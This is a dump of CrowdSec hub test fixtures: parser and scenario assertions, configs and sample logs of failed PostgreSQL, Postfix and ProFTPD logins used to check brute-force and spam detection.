results[0].Overflow.Alert.Events[7].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[7].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[7].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[7].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[7].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[8].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[8].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[8].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[8].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[8].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[9].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[9].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[9].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[9].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[9].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[10].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[10].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[10].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[10].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[10].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[11].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[11].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[11].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[11].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[11].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[12].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[12].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[12].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[12].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[12].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[13].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[13].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[13].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[13].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[13].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[14].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[14].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[14].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[14].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[14].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.Events[15].GetMeta("datasource_path") == "pf-scan-multi-port.log" results[0].Overflow.Alert.Events[15].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[15].GetMeta("log_type") == "pf_drop" results[0].Overflow.Alert.Events[15].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[15].GetMeta("source_ip") == "10.0.2.2" results[0].Overflow.Alert.GetScenario() == "firewallservices/pf-scan-multi_ports" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 16 hub1/.tests/pgsql-logs/000077500000000000000000000000001437532772500152445ustar00rootroot00000000000000hub1/.tests/pgsql-logs/config.yaml000066400000000000000000000003331437532772500173740ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/pgsql-logs scenarios: - crowdsecurity/pgsql-bf postoverflows: - "" log_file: pgsql-logs.log log_type: postgres ignore_parsers: false hub1/.tests/pgsql-logs/parser.assert000066400000000000000000000113471437532772500177710ustar00rootroot00000000000000len(results["s01-parse"]["crowdsecurity/pgsql-logs"]) == 6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021-09-28 09:22:18.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user \"i_dont_exist\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "postgres" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "pgsql-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021-09-28 09:22:19.536 UTC:1.2.3.4(5432):i_dont_exist@postgres:[127]:FATAL: password authentication failed for user \"i_dont_exist\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "postgres" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "pgsql-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Success == true results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["timestamp"] == "21-09-28 09:22:18.536" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["zone"] == "UTC" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["PID"] == "147" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["pgsql_dbname"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["pgsql_target_user"] == "i_dont_exist" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["program"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["auth_method"] == "password" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["message"] == "2021-09-28 09:22:18.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user \"i_dont_exist\"" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Parsed["pgsql_user"] == "i_dont_exist" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["log_type"] == "pgsql_failed_auth" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["user"] == "i_dont_exist" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["auth_method"] == "password" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["datasource_path"] == "pgsql-logs.log" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/pgsql-logs"][0].Evt.Meta["db"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Success == true results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["pgsql_user"] == "i_dont_exist" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["program"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["zone"] == "UTC" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["source_port"] == "5432" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["timestamp"] == "21-09-28 09:22:19.536" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["auth_method"] == "password" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["message"] == "2021-09-28 09:22:19.536 UTC:1.2.3.4(5432):i_dont_exist@postgres:[127]:FATAL: password authentication failed for user \"i_dont_exist\"" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["pgsql_dbname"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["pgsql_target_user"] == "i_dont_exist" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Parsed["pid"] == "127" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["auth_method"] == "password" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["datasource_path"] == "pgsql-logs.log" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["db"] == "postgres" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["log_type"] == "pgsql_failed_auth" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/pgsql-logs"][1].Evt.Meta["user"] == "i_dont_exist" hub1/.tests/pgsql-logs/pgsql-logs.log000066400000000000000000000014001437532772500200320ustar00rootroot000000000000002021-09-28 09:22:18.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user "i_dont_exist" 2021-09-28 09:22:19.536 UTC:1.2.3.4(5432):i_dont_exist@postgres:[127]:FATAL: password authentication failed for user "i_dont_exist" 2021-09-28 09:22:20.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user "i_dont_exist" 2021-09-28 09:22:21.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user "i_dont_exist" 2021-09-28 09:22:22.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user "i_dont_exist" 2021-09-28 09:22:23.536 UTC [147] 1.2.3.4 i_dont_exist@postgres FATAL: password authentication failed for user "i_dont_exist" hub1/.tests/pgsql-logs/scenario.assert000066400000000000000000000066631437532772500203050ustar00rootroot00000000000000"1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.Events[1].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.Events[2].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.Events[3].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.Events[4].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.Events[5].GetMeta("auth_method") == "password" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "pgsql-logs.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("db") == "postgres" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "pgsql_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("user") == "i_dont_exist" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/pgsql-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/postfix-logs/000077500000000000000000000000001437532772500156125ustar00rootroot00000000000000hub1/.tests/postfix-logs/config.yaml000066400000000000000000000003111437532772500177360ustar00rootroot00000000000000parsers: - crowdsecurity/postfix-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: postfix-logs.log log_type: syslog ignore_parsers: false hub1/.tests/postfix-logs/parser.assert000066400000000000000000000063651437532772500203430ustar00rootroot00000000000000len(results["s01-parse"]["crowdsecurity/postfix-logs"]) == 2 results["s01-parse"]["crowdsecurity/postfix-logs"][0].Success == true results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["message"] == "warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["message_failure"] == " authentication failure" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["program"] == "postfix/smtpd" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["remote_host"] == "unknown" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["timestamp"] == "May 11 04:02:36" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Parsed["pid"] == "26897" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["service"] == "postfix" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["source_hostname"] == "unknown" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["datasource_path"] == "postfix-logs.log" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["log_type"] == "postfix" results["s01-parse"]["crowdsecurity/postfix-logs"][0].Evt.Meta["log_type_enh"] == "spam-attempt" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Success == true results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["pid"] == "26897" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["program"] == "postfix/smtpd" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["remote_host"] == "unknown" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["timestamp"] == "May 11 04:02:37" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["action"] == "reject" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["command"] == "RCPT" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["message"] == "NOQUEUE: reject: RCPT from unknown[1.2.3.4]: 554 5.7.1 Service unavailable" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Parsed["reason"] == "554 5.7.1 Service unavailable" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["source_hostname"] == "unknown" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["action"] == "reject" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["datasource_path"] == "postfix-logs.log" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["log_type"] == "postfix" results["s01-parse"]["crowdsecurity/postfix-logs"][1].Evt.Meta["service"] == "postfix" hub1/.tests/postfix-logs/postfix-logs.log000066400000000000000000000003701437532772500207530ustar00rootroot00000000000000May 11 04:02:36 host1 postfix/smtpd[26897]: warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure May 11 04:02:37 host1 postfix/smtpd[26897]: NOQUEUE: reject: RCPT from unknown[1.2.3.4]: 554 5.7.1 Service unavailable hub1/.tests/postfix-logs/scenario.assert000066400000000000000000000000001437532772500206260ustar00rootroot00000000000000hub1/.tests/postfix-spam/000077500000000000000000000000001437532772500156065ustar00rootroot00000000000000hub1/.tests/postfix-spam/config.yaml000066400000000000000000000003401437532772500177340ustar00rootroot00000000000000parsers: - crowdsecurity/postfix-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/postfix-spam postoverflows: - "" log_file: postfix-spam.log log_type: syslog ignore_parsers: true hub1/.tests/postfix-spam/parser.assert000066400000000000000000000000001437532772500203130ustar00rootroot00000000000000hub1/.tests/postfix-spam/postfix-spam.log000066400000000000000000000013571437532772500207510ustar00rootroot00000000000000May 11 04:02:33 host1 postfix/smtpd[26897]: warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure May 11 04:02:34 host1 postfix/smtpd[26897]: warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure May 11 04:02:35 host1 postfix/smtpd[26897]: warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure May 11 04:02:36 host1 postfix/smtpd[26897]: warning: unknown[1.2.3.4]: SASL LOGIN authentication failed: authentication failure May 11 04:02:37 host1 postfix/smtpd[26897]: NOQUEUE: reject: RCPT from unknown[1.2.3.4]: 554 5.7.1 Service unavailable May 11 04:02:37 host1 postfix/smtpd[26897]: NOQUEUE: reject: RCPT from unknown[1.2.3.4]: 554 5.7.1 Service unavailable hub1/.tests/postfix-spam/scenario.assert000066400000000000000000000067341437532772500206460ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[0].GetMeta("log_type_enh") == "spam-attempt" results[0].Overflow.Alert.Events[0].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[0].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[1].GetMeta("log_type_enh") == "spam-attempt" results[0].Overflow.Alert.Events[1].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[1].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[2].GetMeta("log_type_enh") == "spam-attempt" results[0].Overflow.Alert.Events[2].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[2].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[3].GetMeta("log_type_enh") == "spam-attempt" results[0].Overflow.Alert.Events[3].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[3].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("action") == "reject" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[4].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[4].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("action") == "reject" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "postfix-spam.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "postfix" results[0].Overflow.Alert.Events[5].GetMeta("service") == "postfix" results[0].Overflow.Alert.Events[5].GetMeta("source_hostname") == "unknown" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/postfix-spam" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/postscreen-logs/000077500000000000000000000000001437532772500163035ustar00rootroot00000000000000hub1/.tests/postscreen-logs/config.yaml000066400000000000000000000003171437532772500204350ustar00rootroot00000000000000parsers: - crowdsecurity/postscreen-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: postscreen-logs.log log_type: syslog ignore_parsers: false hub1/.tests/postscreen-logs/parser.assert000066400000000000000000000033211437532772500210210ustar00rootroot00000000000000len(results["s01-parse"]["crowdsecurity/postscreen-logs"]) == 1 results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Success == true results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["message_attempt"] == "EHLO 127.0.0.1\\r\\n" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["pid"] == "22244" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["port"] == "41323" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["time_attempt"] == "2.6" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["timestamp"] == "Oct 25 04:24:59" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["program"] == "postfix/postscreen" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["remote_addr"] == "177.154.236.182" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["count"] == "16" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["message"] == "PREGREET 16 after 2.6 from [177.154.236.182]:41323: EHLO 127.0.0.1\\r\\n" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Parsed["pregreet"] == "PREGREET" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Meta["datasource_path"] == "postscreen-logs.log" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Meta["pregreet"] == "PREGREET" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Meta["service"] == "postscreen" results["s01-parse"]["crowdsecurity/postscreen-logs"][0].Evt.Meta["source_ip"] == "177.154.236.182" hub1/.tests/postscreen-logs/postscreen-logs.log000066400000000000000000000001671437532772500221410ustar00rootroot00000000000000Oct 25 04:24:59 test postfix/postscreen[22244]: PREGREET 16 after 2.6 from [177.154.236.182]:41323: EHLO 127.0.0.1\r\n hub1/.tests/postscreen-logs/scenario.assert000066400000000000000000000000001437532772500213170ustar00rootroot00000000000000hub1/.tests/proftpd-bf/000077500000000000000000000000001437532772500152175ustar00rootroot00000000000000hub1/.tests/proftpd-bf/config.yaml000066400000000000000000000004221437532772500173460ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/proftpd-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/proftpd-bf.yaml postoverflows: - "" log_file: proftpd-bf.log log_type: proftpd labels: {} ignore_parsers: true hub1/.tests/proftpd-bf/parser.assert000066400000000000000000000000001437532772500177240ustar00rootroot00000000000000hub1/.tests/proftpd-bf/proftpd-bf.log000066400000000000000000000014141437532772500177650ustar00rootroot000000000000002021-05-28 18:08:34,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password 2021-05-28 18:08:35,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password 2021-05-28 18:08:36,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password 2021-05-28 18:08:36,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password 2021-05-28 18:08:37,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password 2021-05-28 18:08:37,399 mantis proftpd[498819] mantis (192.168.1.142[192.168.1.142]): USER seb (Login failed): Incorrect password hub1/.tests/proftpd-bf/scenario.assert000066400000000000000000000053071437532772500202520ustar00rootroot00000000000000len(results) == 1 "192.168.1.142" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.142"].IP == "192.168.1.142" results[0].Overflow.Sources["192.168.1.142"].Range == "" results[0].Overflow.Sources["192.168.1.142"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.142"].GetValue() == "192.168.1.142" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "seb" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "seb" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "seb" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "seb" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.1.142" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "seb" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "proftpd-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" 